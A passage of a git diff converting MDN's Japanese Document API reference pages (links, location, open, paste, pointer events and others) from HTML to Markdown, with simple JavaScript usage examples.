links プロパティは、文書中の、 href 属性の値を持つすべての {{htmlelement("area")}} 要素とアンカー要素のコレクションを返します。

-

構文

-
nodeList = document.links;
-
-

-
var links = document.links;
-
-for(var i = 0; i < links.length; i++) {
+{{ApiRef}}
+
+## 概要
+
+`links` プロパティは、文書中の、 `href` 属性の値を持つすべての {{htmlelement("area")}} 要素とアンカー要素のコレクションを返します。
+
+## 構文
+
+```
+nodeList = document.links;
+```
+
+## 例
+
+```js
+var links = document.links;
+
+for(var i = 0; i < links.length; i++) {
   var linkHref = document.createTextNode(links[i].href);
   var lineBreak = document.createElement("br");
 
   document.body.appendChild(linkHref);
   document.body.appendChild(lineBreak);
-}
-

仕様書

- +} +``` + +## 仕様書 + +- [DOM Level 2 HTML: links](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-7068919) diff --git a/files/ja/web/api/document/location/index.md b/files/ja/web/api/document/location/index.md index 457028858770d0..75834e43ffec8b 100644 --- a/files/ja/web/api/document/location/index.md +++ b/files/ja/web/api/document/location/index.md @@ -11,61 +11,44 @@ tags: - プロパティ translation_of: Web/API/Document/location --- -

{{APIRef("DOM")}}

+{{APIRef("DOM")}} -

Document.location は読み取り専用のプロパティで、この文書の URL に関する情報を持った {{domxref("Location")}} オブジェクトを返します。これはその URL を変更したり他の URL を読み込んだりするためのメソッドも提供しています。

+**`Document.location`** は読み取り専用のプロパティで、この文書の URL に関する情報を持った {{domxref("Location")}} オブジェクトを返します。これはその URL を変更したり他の URL を読み込んだりするためのメソッドも提供しています。 -

Document.location読み取り専用Location オブジェクトですが、 {{domxref("DOMString")}} を代入することができます。つまり、 document.location が文字列であるかのように扱うことができます。 document.location = 'http://www.example.com'document.location.href = 'http://www.example.com' の別名です。

+`Document.location` は*読み取り専用*の `Location` オブジェクトですが、 {{domxref("DOMString")}} を代入することができます。つまり、 document.location が文字列であるかのように扱うことができます。 `document.location = 'http://www.example.com'` は `document.location.href = 'http://www.example.com'` の別名です。 -

URL を文字列として受け取るだけであれば、読み取り専用の {{domxref("document.URL")}} プロパティも利用することができます。

+URL を文字列として受け取るだけであれば、読み取り専用の {{domxref("document.URL")}} プロパティも利用することができます。 -

現在の文書が閲覧コンテキスト内にない場合、返値は null となります。

+現在の文書が閲覧コンテキスト内にない場合、返値は `null` となります。 -

構文

+## 構文 -

s

+s -
locationObj = document.location
+```
+locationObj = document.location
 document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
-
+``` -

+## 例 -
console.log(document.location);
+```js
+console.log(document.location);
 // Location オブジェクトをコンソールへ表示
-
+``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}{{Spec2('HTML WHATWG')}}{{SpecName("HTML5 W3C")}} から変更なし
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}{{Spec2('HTML5 W3C')}}初回定義
+| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | --------------------------------------------- | +| {{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}} | {{Spec2('HTML WHATWG')}} | {{SpecName("HTML5 W3C")}} から変更なし | +| {{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}} | {{Spec2('HTML5 W3C')}} | 初回定義 | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.location")}}

+{{Compat("api.Document.location")}} -

関連情報

+## 関連情報 -
    -
  • 返値のインターフェイスである {{domxref("Location")}}
  • -
  • 同様の情報で{{Glossary("browsing context", "閲覧コンテキスト")}}に結びつけられている {{domxref("Window.location")}}
  • -
+- 返値のインターフェイスである {{domxref("Location")}} +- 同様の情報で{{Glossary("browsing context", "閲覧コンテキスト")}}に結びつけられている {{domxref("Window.location")}} diff --git a/files/ja/web/api/document/lostpointercapture_event/index.md b/files/ja/web/api/document/lostpointercapture_event/index.md index 46e804e914cbdf..2a85ee2bb2eef7 100644 --- a/files/ja/web/api/document/lostpointercapture_event/index.md +++ b/files/ja/web/api/document/lostpointercapture_event/index.md @@ -11,96 +11,86 @@ tags: - イベント translation_of: Web/API/Document/lostpointercapture_event --- -
{{APIRef}}
+{{APIRef}} -

lostpointercapture イベントは、ポインターのキャプチャが解放されたときに発生します。

+**`lostpointercapture`** イベントは、[ポインターのキャプチャ](/ja/docs/Web/API/Pointer_events#Pointer_capture)が解放されたときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}}
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}} +
-

+## 例 -

この例は lostpointercapture イベントを待ち受けし、 pointerdown でその要素のためにポインターをキャプチャします。後でユーザーがポインターを解放したとき、 lostpointercapture イベントが発生します。

+この例は `lostpointercapture` イベントを待ち受けし、 `pointerdown` でその要素のためにポインターをキャプチャします。後でユーザーがポインターを解放したとき、 `lostpointercapture` イベントが発生します。 -
const para = document.querySelector('p');
+```js
+const para = document.querySelector('p');
 
-document.addEventListener('lostpointercapture', () => {
+document.addEventListener('lostpointercapture', () => {
   console.log('I\'ve been released!')
 });
 
-para.addEventListener('pointerdown', (event) => {
+para.addEventListener('pointerdown', (event) => {
   para.setPointerCapture(event.pointerId);
 });
-
+``` -

同じ例ですが、 onlostpointercapture イベントハンドラーを使用して行います。

+同じ例ですが、 `onlostpointercapture` イベントハンドラーを使用して行います。 -
const para = document.querySelector('p');
+```js
+const para = document.querySelector('p');
 
-document.onlostpointercapture = () => {
+document.onlostpointercapture = () => {
   console.log('I\'ve been released!')
 };
 
-para.addEventListener('pointerdown', (event) => {
+para.addEventListener('pointerdown', (event) => {
   para.setPointerCapture(event.pointerId);
 });
-
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-lostpointercapture-event')}}{{Spec2('Pointer Events')}}
+``` + +## 仕様書 + +| 仕様書 | 状態 | +| ------------------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-lostpointercapture-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの対応 + +{{Compat("api.Document.lostpointercapture_event")}} + +## 関連情報 + +- 関連イベント + + - {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} + - {{domxref("Document/pointerover_event", "pointerover")}} + - {{domxref("Document/pointerenter_event", "pointerenter")}} + - {{domxref("Document/pointerdown_event", "pointerdown")}} + - {{domxref("Document/pointermove_event", "pointermove")}} + - {{domxref("Document/pointerup_event", "pointerup")}} + - {{domxref("Document/pointercancel_event", "pointercancel")}} + - {{domxref("Document/pointerout_event", "pointerout")}} + - {{domxref("Document/pointerleave_event", "pointerleave")}} -

ブラウザーの対応

- -

{{Compat("api.Document.lostpointercapture_event")}}

- -

関連情報

- -
    -
  • 関連イベント -
      -
    • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
    • -
    • {{domxref("Document/pointerover_event", "pointerover")}}
    • -
    • {{domxref("Document/pointerenter_event", "pointerenter")}}
    • -
    • {{domxref("Document/pointerdown_event", "pointerdown")}}
    • -
    • {{domxref("Document/pointermove_event", "pointermove")}}
    • -
    • {{domxref("Document/pointerup_event", "pointerup")}}
    • -
    • {{domxref("Document/pointercancel_event", "pointercancel")}}
    • -
    • {{domxref("Document/pointerout_event", "pointerout")}}
    • -
    • {{domxref("Document/pointerleave_event", "pointerleave")}}
    • -
    -
  • -
  • {{domxref("GlobalEventHandlers.onlostpointercapture")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/lostpointercapture_event", "lostpointercapture")}} イベント
  • -
+- {{domxref("GlobalEventHandlers.onlostpointercapture")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/lostpointercapture_event", "lostpointercapture")}} イベント diff --git a/files/ja/web/api/document/open/index.md b/files/ja/web/api/document/open/index.md index a6d2629093ceda..f440a8b1a964de 100644 --- a/files/ja/web/api/document/open/index.md +++ b/files/ja/web/api/document/open/index.md @@ -11,102 +11,87 @@ tags: - メソッド translation_of: Web/API/Document/open --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

Document.open() メソッドは、{{domxref("Document.write", "書き込み", "", "1")}}のために文書を開きます。

+**`Document.open()`** メソッドは、{{domxref("Document.write", "書き込み", "", "1")}}のために文書を開きます。 -

これはいくらかの副作用を招きます。例を挙げます。

+これはいくらかの副作用を招きます。例を挙げます。 -
    -
  • 文書、文書内のノード、文書のウィンドウに現在登録されているイベントリスナーがすべて除去されます。
  • -
  • すべての既存のノードが文書から除去されます。
  • -
+- 文書、文書内のノード、文書のウィンドウに現在登録されているイベントリスナーがすべて除去されます。 +- すべての既存のノードが文書から除去されます。 -

構文

+## 構文 -
document.open();
-
+``` +document.open(); +``` -

引数

+### 引数 -

なし。

+なし。 -

返値

+### 返値 -

Document オブジェクトインスタンスです。

+`Document` オブジェクトインスタンスです。 -

+## 例 -

以下の簡単なコードは、文書を開き、その内容をいくつかの異なる HTML の断片に置き換えてから、再び閉じます。

+以下の簡単なコードは、文書を開き、その内容をいくつかの異なる HTML の断片に置き換えてから、再び閉じます。 -
document.open();
-document.write("<p>Hello world!</p>");
-document.write("<p>I am a fish</p>");
-document.write("<p>The number is 42</p>");
+```js
+document.open();
+document.write("

Hello world!

"); +document.write("

I am a fish

"); +document.write("

The number is 42

"); document.close(); -
+``` -

+## 注 -

ページが読み込まれたあとで {{domxref("document.write()")}} が呼び出されると、自動的に document.open() が呼び出されます。

+ページが読み込まれたあとで {{domxref("document.write()")}} が呼び出されると、自動的に `document.open()` が呼び出されます。 -

Firefox や Internet Explorer では何年も前から、すべてのノードの削除に加えて、 JavaScript の変数なども追加で消去していました。今はそうではありません。document non-spec'ed parameters to document.open

+Firefox や Internet Explorer では何年も前から、すべてのノードの削除に加えて、 JavaScript の変数なども追加で消去していました。今はそうではありません。document non-spec'ed parameters to document.open -

Gecko 固有のメモ

+### Gecko 固有のメモ -

Gecko 1.9 以降、このメソッドは他のプロパティと同一オリジンポリシーが同じになるようになり、文書のオリジンを変更しようとした場合に動作しません。

+Gecko 1.9 以降、このメソッドは他のプロパティと同一オリジンポリシーが同じになるようになり、文書のオリジンを変更しようとした場合に動作しません。 -

Gecko 1.9.2 以降、 document.open()プリンシパルをスタックからフェッチするのではなく、 URI を使用する文書のプリンシパルを使用します。その結果、 wrappedJSObject を使用しても、 {{domxref("document.write()")}} を{{Glossary("chrome", "クローム")}}からの信頼できない文書に呼び出すことはできません。考え方についてはセキュリティチェックの基本を参照してください。

+Gecko 1.9.2 以降、 `document.open()` は[プリンシパル](/ja/docs/Security_check_basics)をスタックからフェッチするのではなく、 URI を使用する文書のプリンシパルを使用します。その結果、 [`wrappedJSObject`](/ja/wrappedJSObject) を使用しても、 {{domxref("document.write()")}} を{{Glossary("chrome", "クローム")}}からの信頼できない文書に呼び出すことはできません。考え方については[セキュリティチェックの基本](/ja/Security_check_basics)を参照してください。 -

引数3つの document.open()

+## 引数 3 つの document.open() -

あまり知られていませんが、あまり使われていない引数3つ版の document.open() があり、これは {{domxref("Window.open()")}} のエイリアスです (詳細はそのページを参照してください)。

+あまり知られていませんが、あまり使われていない引数 3 つ版の `document.open()` があり、これは {{domxref("Window.open()")}} のエイリアスです (詳細はそのページを参照してください)。 -

この呼び出しは、例えば github.com を新しいウィンドウで開き、オープナーは null に設定してみます。

+この呼び出しは、例えば github.com を新しいウィンドウで開き、オープナーは `null` に設定してみます。 -
document.open('https://www.github.com','', 'noopener=true')
+```js +document.open('https://www.github.com','', 'noopener=true') +``` -

引数2つの document.open()

+## 引数 2 つの document.open() -

ブラウザーは以下の形で、引数2つの document.open() に対応してきました。

+ブラウザーは以下の形で、引数 2 つの `document.open()` に対応してきました。 -
document.open(type, replace)
+```js +document.open(type, replace) +``` -

type は書き込もうとしているデータの MIME タイプ (text/html など) を指定し、 replace が設定されていれば (すなわち "replace" の文字列)、新しい文書の履歴エントリが書き込まれている文書の現在の履歴エントリを置き換えることを指定していました。

+`type` は書き込もうとしているデータの MIME タイプ (`text/html` など) を指定し、 replace が設定されていれば (すなわち "replace" の文字列)、新しい文書の履歴エントリが書き込まれている文書の現在の履歴エントリを置き換えることを指定していました。 -

この形式は現在では廃止されています。エラーは発生せず、代わりに document.open() に転送されます (つまり、引数なしで実行した場合と同等です)。 履歴の置換動作は常に行われるようになりました。

+この形式は現在では廃止されています。エラーは発生せず、代わりに `document.open()` に転送されます (つまり、引数なしで実行した場合と同等です)。 履歴の置換動作は常に行われるようになりました。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}{{Spec2("DOM2 HTML")}}
+| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}} | {{Spec2("DOM2 HTML")}} | | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.open")}}

+{{Compat("api.Document.open")}} -

See also

+## See also -
    -
  • {{domxref("Document")}}
  • -
  • {{domxref("Window.open()")}}
  • -
+- {{domxref("Document")}} +- {{domxref("Window.open()")}} diff --git a/files/ja/web/api/document/paste_event/index.md b/files/ja/web/api/document/paste_event/index.md index f9a0a3f9fb7828..5b636021ea3fb1 100644 --- a/files/ja/web/api/document/paste_event/index.md +++ b/files/ja/web/api/document/paste_event/index.md @@ -11,64 +11,53 @@ tags: - イベント translation_of: Web/API/Document/paste_event --- -
{{APIRef}}
+{{APIRef}} -

paste イベントは、ユーザーがブラウザーのユーザーインターフェイスから「貼り付け」操作を実行したときに発生します。

+**`paste`** イベントは、ユーザーがブラウザーのユーザーインターフェイスから「貼り付け」操作を実行したときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/onpaste", "onpaste")}}
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/onpaste", "onpaste")}}
-

このイベントの本来の対象は、貼り付け操作を意図する対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 Element: paste イベントを参照してください。

+このイベントの本来の対象は、貼り付け操作を意図する対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 [Element: paste イベント](/ja/docs/Web/API/Element/paste_event)を参照してください。 -

+## 例 -
document.addEventListener('paste', (event) => {
+```js
+document.addEventListener('paste', (event) => {
     console.log('paste action initiated')
-});
+}); +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Clipboard API', '#clipboard-event-paste')}}{{Spec2('Clipboard API')}}
+| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Clipboard API', '#clipboard-event-paste')}} | {{Spec2('Clipboard API')}} | -

ブラウザーの互換性

+## ブラウザーの互換性 -

{{Compat("api.Document.paste_event")}}

+{{Compat("api.Document.paste_event")}} -

関連情報

+## 関連情報 -
    -
  • 関連イベント: {{domxref("Document/cut_event", "cut")}}, {{domxref("Document/copy_event", "copy")}}
  • -
  • {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/paste_event", "paste")}}
  • -
  • {{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/paste_event", "paste")}}
  • -
+- 関連イベント: {{domxref("Document/cut_event", "cut")}}, {{domxref("Document/copy_event", "copy")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/paste_event", "paste")}} +- {{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/paste_event", "paste")}} diff --git a/files/ja/web/api/document/plugins/index.md b/files/ja/web/api/document/plugins/index.md index fa63d0552d3c34..3a12312241f8ca 100644 --- a/files/ja/web/api/document/plugins/index.md +++ b/files/ja/web/api/document/plugins/index.md @@ -11,45 +11,32 @@ tags: - プロパティ translation_of: Web/API/Document/plugins --- -
{{APIRef("DOM")}}
+{{APIRef("DOM")}} -

{{domxref("Document")}} インターフェイスの plugins プロパティは読み取り専用で、現在の文書内にある {{HTMLElement("embed")}} 要素を表す1つ以上の {{domxref("HTMLEmbedElement")}} を含んだ {{domxref("HTMLCollection")}} オブジェクトを返します。

+{{domxref("Document")}} インターフェイスの **`plugins`** プロパティは読み取り専用で、現在の文書内にある {{HTMLElement("embed")}} 要素を表す 1 つ以上の {{domxref("HTMLEmbedElement")}} を含んだ {{domxref("HTMLCollection")}} オブジェクトを返します。 -
インストールされているプラグインの一覧には、このメソッドでなく {{domxref("window.navigator.plugins")}} を使用してください。
+> **Note:** インストールされているプラグインの一覧には、このメソッドでなく {{domxref("window.navigator.plugins")}} を使用してください。 -

構文

+## 構文 -
embedArrayObj = document.plugins
+``` +embedArrayObj = document.plugins +``` -

+### 値 -

{{domxref("HTMLCollection")}}、または文書内に embed がなければ null です。

+{{domxref("HTMLCollection")}}、または文書内に embed がなければ `null` です。 -

仕様書

+## 仕様書 - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#dom-document-plugins', 'Document.plugins')}}{{ Spec2('HTML WHATWG') }}
+| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | ------------------------------------ | ---- | +| {{SpecName('HTML WHATWG', '#dom-document-plugins', 'Document.plugins')}} | {{ Spec2('HTML WHATWG') }} | | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.plugins")}}

+{{Compat("api.Document.plugins")}} -

関連情報

+## 関連情報 - +- [MSDN documentation]() diff --git a/files/ja/web/api/document/pointercancel_event/index.md b/files/ja/web/api/document/pointercancel_event/index.md index 00cc76a46264d5..3134f82a96fac4 100644 --- a/files/ja/web/api/document/pointercancel_event/index.md +++ b/files/ja/web/api/document/pointercancel_event/index.md @@ -11,95 +11,83 @@ tags: - イベント translation_of: Web/API/Document/pointercancel_event --- -
{{APIRef}}
+{{APIRef}} -

pointercancel イベントは、ブラウザーがもうポインターイベントが存在しないと判断したとき、または {{event("pointerdown")}} イベントが発生した後で、ポインターがビューポートのパン、ズーム、スクロールを操作するために使用されたときに発生します。

+**`pointercancel`** イベントは、ブラウザーがもうポインターイベントが存在しないと判断したとき、または {{event("pointerdown")}} イベントが発生した後で、ポインターがビューポートのパン、ズーム、スクロールを操作するために使用されたときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointercancel", "onpointercancel")}}
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointercancel", "onpointercancel")}} +
-

pointercancel イベントが発生する状況の例をいくつか示します。

+`pointercancel` イベントが発生する状況の例をいくつか示します。 -
    -
  • ポインターの操作を中止するハードウェアイベントが発生した場合。例えば、アプリケーションスイッチャーインターフェイスやモバイル端末の「ホーム」ボタンを使用してアプリケーションを切り替えた場合などです。
  • -
  • ポインターが活動中に端末の画面の向きが変化した場合。
  • -
  • ユーザーが突然、ポインターの入力を始めたとブラウザーが判断した場合。これが発生するのは、例えば、スタイラスを使用中に画面上で手が反応するのを防ぐために掌を除外して予期せずイベントを起動することを防ぐことに、ハードウェアが対応している場合などです。
  • -
  • CSS の {{cssxref("touch-action")}} プロパティが、入力の継続を防止している場合。
  • -
+- ポインターの操作を中止するハードウェアイベントが発生した場合。例えば、アプリケーションスイッチャーインターフェイスやモバイル端末の「ホーム」ボタンを使用してアプリケーションを切り替えた場合などです。 +- ポインターが活動中に端末の画面の向きが変化した場合。 +- ユーザーが突然、ポインターの入力を始めたとブラウザーが判断した場合。これが発生するのは、例えば、スタイラスを使用中に画面上で手が反応するのを防ぐために掌を除外して予期せずイベントを起動することを防ぐことに、ハードウェアが対応している場合などです。 +- CSS の {{cssxref("touch-action")}} プロパティが、入力の継続を防止している場合。 -
-

pointercancel イベントの発生後、ブラウザーは {{event("pointerout")}} イベントと、続いて {{event("pointerleave")}} イベントを送信します。

-
+> **Note:** `pointercancel` イベントの発生後、ブラウザーは {{event("pointerout")}} イベントと、続いて {{event("pointerleave")}} イベントを送信します。 -

+## 例 -

addEventListener() の使用例:

+`addEventListener()` の使用例: -
document.addEventListener('pointercancel', (event) => {
+```js
+document.addEventListener('pointercancel', (event) => {
   console.log('Pointer event cancelled')
-});
+}); +``` -

onpointercancel イベントハンドラープロパティの使用例:

+`onpointercancel` イベントハンドラープロパティの使用例: -
document.onpointercancel = (event) => {
+```js
+document.onpointercancel = (event) => {
   console.log('Pointer event cancelled')
-};
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointercancel-event')}}{{Spec2('Pointer Events')}}
+}; +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointercancel-event')}} | {{Spec2('Pointer Events')}} | + +## ブラウザーの対応 + +{{Compat("api.Document.pointercancel_event")}} + +## 関連情報 + +- 関連イベント + + - {{domxref("Document/gotpointercapture_event", "gotpointercapture")}} + - {{domxref("Document/lostpointercapture_event", "lostpointercapture")}} + - {{domxref("Document/pointerover_event", "pointerover")}} + - {{domxref("Document/pointerenter_event", "pointerenter")}} + - {{domxref("Document/pointerdown_event", "pointerdown")}} + - {{domxref("Document/pointermove_event", "pointermove")}} + - {{domxref("Document/pointerup_event", "pointerup")}} + - {{domxref("Document/pointerout_event", "pointerout")}} + - {{domxref("Document/pointerleave_event", "pointerleave")}} -

ブラウザーの対応

- -

{{Compat("api.Document.pointercancel_event")}}

- -

関連情報

- -
    -
  • 関連イベント -
      -
    • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
    • -
    • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
    • -
    • {{domxref("Document/pointerover_event", "pointerover")}}
    • -
    • {{domxref("Document/pointerenter_event", "pointerenter")}}
    • -
    • {{domxref("Document/pointerdown_event", "pointerdown")}}
    • -
    • {{domxref("Document/pointermove_event", "pointermove")}}
    • -
    • {{domxref("Document/pointerup_event", "pointerup")}}
    • -
    • {{domxref("Document/pointerout_event", "pointerout")}}
    • -
    • {{domxref("Document/pointerleave_event", "pointerleave")}}
    • -
    -
  • -
  • {{domxref("GlobalEventHandlers.onpointercancel")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointercancel_event", "pointercancel")}} イベント
  • -
+- {{domxref("GlobalEventHandlers.onpointercancel")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointercancel_event", "pointercancel")}} イベント diff --git a/files/ja/web/api/document/pointerdown_event/index.md b/files/ja/web/api/document/pointerdown_event/index.md index c71597b18e8ba7..36361f360c463b 100644 --- a/files/ja/web/api/document/pointerdown_event/index.md +++ b/files/ja/web/api/document/pointerdown_event/index.md @@ -12,69 +12,62 @@ tags: - イベント translation_of: Web/API/Document/pointerdown_event --- -
{{APIRef}}
+{{APIRef}} -

pointerdown イベントは、ポインターがアクティブになったときに発生します。マウスでは、端末がボタンが押されていない状態から一つ以上のボタンが押されている状態に遷移したときに発生します。タッチ操作では、デジタイザーに物理的な接触が行われたときに発生します。ペンでは、スタイラスがデジタイザーに物理的に接触したときに発生します。

+`pointerdown` イベントは、ポインターがアクティブになったときに発生します。マウスでは、端末がボタンが押されていない状態から一つ以上のボタンが押されている状態に遷移したときに発生します。タッチ操作では、デジタイザーに物理的な接触が行われたときに発生します。ペンでは、スタイラスがデジタイザーに物理的に接触したときに発生します。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}}
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}} +
-

+## 例 -

addEventListener() の使用例:

+`addEventListener()` の使用例: -
document.addEventListener('pointerdown', (event) => {
+```js
+document.addEventListener('pointerdown', (event) => {
   console.log('Pointer down event');
-});
+}); +``` -

onpointerdown イベントハンドラープロパティの使用例:

+`onpointerdown` イベントハンドラープロパティの使用例: -
document.onpointerdown = (event) => {
+```js
+document.onpointerdown = (event) => {
   console.log('Pointer down event');
-};
+}; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerdown-event')}}{{Spec2('Pointer Events')}}
+| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerdown-event')}} | {{Spec2('Pointer Events')}} | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.pointerdown_event")}}

+{{Compat("api.Document.pointerdown_event")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerdown_event", "pointerdown")}} イベント
  • -
+- {{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}} イベントハンドラープロパティ +- `HTMLElement` を対象としたこのイベント: {{domxref("HTMLElement/pointerdown_event", "pointerdown")}} イベント diff --git a/files/ja/web/api/document/pointerenter_event/index.md b/files/ja/web/api/document/pointerenter_event/index.md index 9336e5da595d22..641080ee23a6df 100644 --- a/files/ja/web/api/document/pointerenter_event/index.md +++ b/files/ja/web/api/document/pointerenter_event/index.md @@ -12,78 +12,71 @@ tags: - イベント translation_of: Web/API/Document/pointerenter_event --- -
{{APIRef}}
+{{APIRef}} -

pointerenter イベントは、ポインティングデバイスが要素またはその子孫のヒットテスト領域に入ったときに発生します。ホバーに対応していない機器では {{domxref("Document/pointerdown_event", "pointerdown")}} イベントの結果として移動した場合も含みます ({{domxref("Document/pointerdown_event", "pointerdown")}} を参照)。

+`pointerenter` イベントは、ポインティングデバイスが要素またはその子孫のヒットテスト領域に入ったときに発生します。ホバーに対応していない機器では {{domxref("Document/pointerdown_event", "pointerdown")}} イベントの結果として移動した場合も含みます ({{domxref("Document/pointerdown_event", "pointerdown")}} を参照)。 - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}}
バブリングなし
キャンセル可能いいえ
インターフェイス{{domxref("PointerEvent")}}
イベントハンドラープロパティ + {{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}} +
-

+## 例 -

addEventListener() の使用例:

+`addEventListener()` の使用例: -
document.addEventListener('pointerenter', (event) => {
+```js
+document.addEventListener('pointerenter', (event) => {
   console.log('Pointer entered element');
-});
+}); +``` -

onpointerenter イベントハンドラープロパティの使用例:

+`onpointerenter` イベントハンドラープロパティの使用例: -
document.onpointerenter = (event) => {
+```js
+document.onpointerenter = (event) => {
   console.log('Pointer entered element');
-};
+}; +``` -

仕様書

+## 仕様書 - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Pointer Events', '#the-pointerenter-event')}}{{Spec2('Pointer Events')}}
+| 仕様書 | 状態 | +| ---------------------------------------------------------------------------- | ------------------------------------ | +| {{SpecName('Pointer Events', '#the-pointerenter-event')}} | {{Spec2('Pointer Events')}} | -

ブラウザーの対応

+## ブラウザーの対応 -

{{Compat("api.Document.pointerenter_event")}}

+{{Compat("api.Document.pointerenter_event")}} -

関連情報

+## 関連情報 -
    -
  • {{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
  • -
  • {{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
  • -
  • {{domxref("Document/pointerover_event", "pointerover")}}
  • -
  • {{domxref("Document/pointerdown_event", "pointerdown")}}
  • -
  • {{domxref("Document/pointermove_event", "pointermove")}}
  • -
  • {{domxref("Document/pointerup_event", "pointerup")}}
  • -
  • {{domxref("Document/pointercancel_event", "pointercancel")}}
  • -
  • {{domxref("Document/pointerout_event", "pointerout")}}
  • -
  • {{domxref("Document/pointerleave_event", "pointerleave")}}
  • -
  • {{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}} イベントハンドラープロパティ
  • -
  • HTMLElement を対象としたこのイベント: {{domxref("HTMLElement/pointerenter_event", "pointerenter")}} イベント
  • -
